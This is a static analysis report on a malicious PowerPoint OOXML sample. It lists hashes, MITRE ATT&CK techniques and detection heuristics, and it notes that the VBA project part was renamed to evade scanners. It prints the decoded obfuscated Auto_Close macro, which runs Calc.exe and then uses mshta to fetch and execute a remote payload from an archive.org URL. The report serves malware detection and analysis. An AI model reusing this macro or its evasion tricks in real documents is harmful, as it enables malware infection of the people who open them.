Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 12d9b2d5318374b6…

MALICIOUS

Office (OOXML)

9.3 KB First seen: 2021-06-30
MD5: 89b58d6e2d3520d752d6fbc909df9589 SHA-1: 3ff19af4753ababa5a370d7e9441babe16612403 SHA-256: 12d9b2d5318374b6e48268a1321152a8f746e78b922d95ca22e04b65a0428f9e
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains a VBA macro within an OOXML file, disguised by renaming the VBA project part. The Auto_Close subroutine is designed to execute Calc.exe and then launch a URL using mshta. This indicates an attempt to download and execute a second-stage payload, likely for malicious purposes.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/ConexaoReporteWindowsDefender.bin)
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://ia801500.us.archive.org/28/items/outlook_202106/outlook.txt In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 508 bytes
SHA-256: a45f2ec64df3edb8c61cc9d5159c547413608a989b658d11b167919ce9c9d95e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "WindowsDefendetAtualized"
Sub _
Auto_close()
Set _
Outlook _
= _
CreateObject _
("Outlook.Application")
Set _
Microsoft _
= _
Outlook. _
CreateObject _
("Ws" + _
"cript" + _
".She" + _
"ll")
Set _
MicrosoftExec _
= _
Microsoft. _
Exec _
("C:\Windows\System32\Calc.e" + _
"xe")
MsgBox _
(MicrosoftExec.StdOut.ReadAll): Set _
MicrosoftExec = _
Microsoft.Exec("ms" + "ht" + "a https://ia801500.us.archive.org/28/items/outlook_202106/outlook.txt")
End _
Sub
vbaProject_00.bin vba-project OOXML VBA project: ppt/ConexaoReporteWindowsDefender.bin 435955 bytes
SHA-256: 31b2e8c6334b0c63346b3bd07b3e479b39e2338d3622d117f65fcad846817f0b

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